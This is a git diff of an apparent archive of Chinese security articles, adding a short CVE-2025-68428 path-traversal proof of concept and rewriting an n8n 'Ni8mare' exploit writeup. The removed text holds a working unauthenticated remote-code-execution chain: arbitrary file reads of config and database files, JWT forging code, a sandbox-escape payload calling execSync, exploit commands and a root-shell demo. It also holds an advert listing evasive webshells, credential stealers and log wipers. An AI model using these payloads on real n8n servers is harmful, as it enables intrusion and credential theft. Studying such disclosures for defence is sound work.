diff --git a/data.json b/data.json
index cb311c10..8a34a481 100644
--- a/data.json
+++ b/data.json
@@ -16493,5 +16493,7 @@
"https://mp.weixin.qq.com/s/gv7k6uDIkciFoAXdlIolQw": "【漏洞通告】Apache Struts XWork 组件 XXE 漏洞(CVE-2025-68493)",
"https://mp.weixin.qq.com/s/4bDn2N9oKAgvBMCHqSiZHw": "高危漏洞威胁情报合集 (2026-01-12)",
"https://mp.weixin.qq.com/s/bY4X_NbToiE36oXSVFrqPw": "【玄域】App系列漏洞靶场已更新-新增3个App版本的JWT系列靶场",
- "https://mp.weixin.qq.com/s/zJaHUYFOuo0qs_QAHCks_g": "【接口漏洞第五章第一节】当API“过度热心”:批量赋值漏洞的狩猎笔记"
+ "https://mp.weixin.qq.com/s/zJaHUYFOuo0qs_QAHCks_g": "【接口漏洞第五章第一节】当API“过度热心”:批量赋值漏洞的狩猎笔记",
+ "https://mp.weixin.qq.com/s/-KHeodmYpguuA34OstX4kw": "CVE-2025-68428_PoC",
+ "https://mp.weixin.qq.com/s/_3rgR74lYIoxdgu-RbMuRw": "n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0)"
}
\ No newline at end of file
diff --git a/doc/2026-01/CVE-2025-68428_PoC.md b/doc/2026-01/CVE-2025-68428_PoC.md
new file mode 100644
index 00000000..a9b92698
--- /dev/null
+++ b/doc/2026-01/CVE-2025-68428_PoC.md
@@ -0,0 +1,40 @@
+# CVE-2025-68428_PoC
+ Ots安全 2026-01-12 13:42
+
+**威胁简报**
+
+
+**恶意软件**
+
+
+**漏洞攻击**
+
+```
+$ git clone https://github.com/12nio/CVE-2025-68428_PoC/ && cd CVE-2025-68428_PoC$ sudo docker build -t poc .$ sudo docker run --rm -p 8080:8080 --name vuln poc$ curl "http://127.0.0.1:8080/api/v1/generate-invoice?client=Dinko&branding=../secret" --output poc.pdf
+```
+
+
+
+
+
+
+
+- https://github.com/advisories/GHSA-f8cm-6447-x5h2
+
+
+
+**END**
+
+
+
+
+
+公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
+
+排版 编辑 | Ots 小安
+
+采集 翻译 | Ots Ai牛马
+
+公众号 |
+AnQuan7 (Ots安全)
+
diff --git a/doc/2026-01/n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0).md b/doc/2026-01/n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0).md
index 5a4691bf..908cc258 100644
--- a/doc/2026-01/n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0).md
+++ b/doc/2026-01/n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0).md
@@ -1,176 +1,20 @@
# n8n Ni8mare - 未经认证的任意文件读取到远程代码执行链 (CVSS 10.0)
-原创 星夜AI安全 星夜AI安全 2026-01-09 01:26
+ TtTeam 2026-01-12 16:08
-📌各位可以将公众号设为星标⭐
+未经身份验证的任意文件读取 → 管理员令牌伪造 → 沙箱绕过 → 远程代码执行
-📌这样就不会错过每期的推荐内容啦~
+
-📌这对我真的很重要!
+n8n 上的完整未经认证的远程代码执行链:
+- CVE-2026-21858 - 内容类型混淆 → 任意文件读取
-
+- 读取配置 + 数据库 → Forge 管理员 JWT
-📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流,仅供个人学习提升安全意识、了解防护手段,禁止用于任何违法活动,否则使用者自行承担法律后果。
+- CVE-2025-68613 - 表达式注入 → 沙箱绕过 → 远程代码执行
-📌2. 所分享内容及工具虽具普遍性,但因场景、版本、系统等因素,无法保证完全适用,使用者要自行承担知识运用不当、工具使用故障带来的损失。
+攻击链
-📌3. 使用者在学习操作过程中务必遵守法规道德,面对有风险环节需谨慎预估后果、做好防护,若未谨慎操作引发信息泄露、设备损坏等不良后果,责任自负。
-
-**威胁简报**
-
-**恶意软件**
-
-**漏洞攻击**
-
-**CVE-2026-21858 与 CVE-2025-68613 - n8n 全链漏洞**
-
-
-
-攻击路径:未经身份验证的任意文件读取 → 伪造管理员令牌 → 绕过沙箱 → 实现远程代码执行
-
| CVE 编号 | CVE-2026-21858(任意文件读取)与 CVE-2025-68613(远程代码执行) |
|---|
| CVSS 评分 | |
| 受影响版本 | ≤ 1.65.0(任意文件读取)/ ≥ 0.211.0(远程代码执行) |
| 已修复版本 | 1.121.0(任意文件读取)/ 1.120.4 及以上(远程代码执行) |
| 披露时间 | |
| 代号 | |
| 致谢 | |
| 开发 | |
| 过程 | AI自动化流程:补丁差异分析 → 漏洞复现 → 环境搭建 → 利用程序开发(披露后约9小时完成) |
| 类型 | 概念验证 - 非通用漏洞利用程序(需特定工作流配置,详见“限制”部分) |
-针对 n8n 的完整未经认证远程代码执行链:
-- **CVE-2026-21858**
- - 内容类型混淆 → 任意文件读取
-
-- 读取配置文件与数据库 → 伪造管理员 JWT 令牌
-
-- **CVE-2025-68613**
- - 表达式注入 → 沙箱绕过 → 远程代码执行
-
-**开发此漏洞利用程序的原因**
-
-此利用程序的开发独立于 Cyera 发布的文档(在 Cyera 文档完成后才被发现)。主要差异如下:
-| Cyera(原创研究) | 本漏洞利用程序 |
|---|
| 文件读取方式 | |
| 前提条件 | |
| RCE 方法 | |
| 自动化程度 | |
-**攻击链概览**
-```
-┌───────────────────────────────────────────────────────────┐│ 未经认证阶段 │├───────────────────────────────────────────────────────────┤│ 1. 读取 /proc/self/environ → 定位 HOME 目录 ││ 2. 读取 $HOME/.n8n/config → 获取 encryptionKey ││ 3. 读取 $HOME/.n8n/database.sqlite → 获取管理员凭据 │├───────────────────────────────────────────────────────────┤│ 令牌伪造阶段 │├───────────────────────────────────────────────────────────┤│ 4. 从 encryptionKey 派生 JWT 密钥 ││ 5. 伪造管理员会话 Cookie │├───────────────────────────────────────────────────────────┤│ 认证后 RCE 阶段 │├───────────────────────────────────────────────────────────┤│ 6. 创建包含表达式注入的工作流 ││ 7. 通过 this.process.mainModule.require 绕过沙箱 ││ 8. 执行任意命令 │└───────────────────────────────────────────────────────────┘
-```
-
-**CVE-2026-21858 - 通过内容类型混淆实现任意文件读取**
-
-**补丁详情**
-```
-commit c8d604d2c466dd84ec24f4f092183d86e43f2518Author: mfsiegaDate: Thu Nov 1311:51:402025 +0100 Mergecommitfrom fork
-```
-
-经典的“合并来自分支的提交”——看到这个,通常意味着有人发现了有趣的东西。🌶️
-
-**根本原因**
-```
-// 修复前(存在漏洞)const files = (context.getBodyData().files as IDataObject) ?? {};await context.nodeHelpers.copyBinaryFile(file.filepath, ...)// 修复后a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
-```
-
-通过发送 Content-Type: application/json
- 可控制 filepath
- 参数,进而读取任意文件。
-
-**CVE-2025-68613 - 表达式注入导致的远程代码执行**
-
-**为何选择此路径?**
-
-n8n 沙箱使用 vm2
- / isolated-vm
- 封装用户代码(代码节点、表达式)。其他潜在的 RCE 向量:
- | |
|---|
| 默认禁用(N8N_ALLOW_EXEC_COMMAND=false) |
| |
| CVE-2025-68668 - 需要 Python 代码节点 |
| 表达式注入 | CVE-2025-68613 - 在默认安装中有效 |
-选择表达式注入是因为它适用于任何默认配置的 n8n 实例——无需特殊节点或额外配置。Pyodide 绕过方法 (CVE-2025-68668) 需要 Python 代码节点,而该节点并非所有实例都具备。
-
-**有效载荷示例**
-```
-={{ (function(){ varrequire = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("id").toString(); })() }}
-```
-
-n8n 表达式可以访问 this.process.mainModule.require
-,从而实现完全的沙箱逃逸。
-
-**令牌伪造**
-```
-# JWT 密钥派生jwt_secret = sha256(encryption_key[::2]).hexdigest()# JWT 哈希值计算jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]# 伪造令牌token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
-```
-
-**实验室环境搭建**
-```
-docker compose up -d# 等待约60秒完成设置# 表单地址:http://localhost:5678/form/vulnerable-form# 默认凭据:admin@exploit.local / password
-```
-
-**使用方法**
-```
-# 读取任意文件uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd# 执行完整攻击链并运行命令uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"# 启动交互式 Shelluv run python exploit.py http://localhost:5678 /form/vulnerable-form
-```
-
-**演示**
-```
-╔═══════════════════════════════════════════════════════════════╗║ CVE-2026-21858 + CVE-2025-68613 - n8n 全链漏洞利用 ║║ 任意文件读取 → 令牌伪造 → 沙箱绕过 → 远程代码执行 ║╚═══════════════════════════════════════════════════════════════╝```[*] 目标: http://localhost:5678/form/vulnerable-form[*] 版本: 1.65.0 (VULN)[x] HOME 目录[+] HOME 目录: /root[x] 加密密钥[+] 加密密钥: yusrXZV1...[x] 数据库[+] 数据库: 1327104 字节[x] 管理员用户[+] 管理员用户: admin@exploit.local[x] 令牌伪造[+] 令牌伪造: 成功[x] 管理员访问权限[+] 管理员访问权限: 已授权![+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0[x] 远程代码执行 (RCE)[+] 远程代码执行 (RCE): 成功uid=0(root) gid=0(root) groups=0(root)## 局限性这个工具并非能“轻松攻破任何网络”的漏洞利用程序。它需要满足一些特定条件才能发挥作用:| 要求 | 描述 || :--- | :--- || **包含文件上传功能的表单** | 目标必须包含一个配置了文件上传字段的表单工作流。 || **Webhook 响应节点** | 工作流必须通过 HTTP 响应来返回文件内容。 || **工作流已激活** | 表单工作流程必须处于激活状态。 || **无需身份验证的访问** | 表单必须可以公开访问,无需进行身份验证。 |### 易受攻击的工作流配置示例:```json{ "nodes": [ { "name": "Form Trigger", "type": "n8n-nodes-base.formTrigger", "parameters": { "responseMode": "responseNode", "formFields": { "values": [{ "fieldLabel": "document", "fieldType": "file" }] } } }, { "name": "Respond", "type": "n8n-nodes-base.respondToWebhook", "parameters": { "respondWith": "binary", "inputDataFieldName": "document" } } ], "connections": { "Form Trigger": { "main": [[{ "node": "Respond" }]] } }}
-```
-
-关键要素是:fieldType: "file"
- 加上 respondWith: "binary"
-。这种模式在文件处理工作流(如转换器、图像调整器、文档处理器)中相当常见。
-### 适用场景:
-- 返回二进制数据的响应节点表单(例如文件转换器、处理器)。
-
-- 默认的 n8n 安装(表达式注入未被阻止)。
-
-- 本地或 Docker 部署(数据库和配置存储在磁盘上)。
-
-### 不适用场景:
-- 没有配置响应节点的表单(文件虽然可以被读取,但无法通过 HTTP 响应返回内容)。
-
-- 需要身份验证才能访问的表单。
-
-- n8n 云服务(架构不同,无法访问本地文件系统)。
-
-- 已经打过补丁的版本(版本号 >= 1.121.0)。
-
-- **注意**
-:无论采用何种数据泄露方法,都会触发此漏洞(任意文件读取)。响应节点只是获取内容的一种方式。根据工作流的具体配置,其他方法(例如使用其他输出节点)也可能有效。
-
-- **盲攻击**
-:如果不存在响应节点,n8n 仍然可以读取文件,但无法通过 HTTP 响应提取数据。此时需要采用其他技术(例如带外攻击、时序攻击)。
-
-项目地址: https://github.com/Chocapikk/CVE-2026-21858
-
-关注微信公众号后台回复**入群**
- 即可加入星夜AI安全交流群
-
-## 圈子介绍
-
-现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。
-
-已产出的安全工具及成果包括:
-- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护)
-
-- 全自动信息收集平台(集成资产测绘、端口扫描、指纹识别及漏洞探针)
-
-- 内网穿透套件(适配多层路由、隔离网络环境的隐蔽流量转发)
-
-- 权限维持工具集(含注册表、系统服务、进程隐藏等多维持久化方案)
-
-- 哥斯拉/冰蝎定制化马生成器(绕过主流终端防护与EDR动态检测)
-
-- 日志清理工具(实现Windows/Linux系统关键日志无痕删除与篡改)
-
-- 浏览器凭证窃取工具(支持Chrome/Edge/Firefox等主流浏览器数据提取)
-
-- 企业VPN漏洞利用工具(适配多款商用VPN设备的漏洞探测与利用)
-
-- 工控系统专用扫描器(针对SCADA、PLC等工控设备的安全检测与指纹识别)
-
-- 邮件钓鱼平台(集成模板生成、钓鱼追踪、数据统计全流程功能)
-
-- 社工信息聚合工具(整合多平台公开信息检索与关联分析能力)
-
-- 二开fscan内网扫描工具(增强指纹精度、弱口令爆破与结果标准化输出)
-
-- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护)
-
-- 免杀360专属加载器(支持Shellcode内存执行,绕过360全系防护检测)
-
-后续将不断更新到内部圈子中 欢迎加入圈子
-
-
-
-
-
-```
-```
+
+https://github.com/Chocapikk/CVE-2026-21858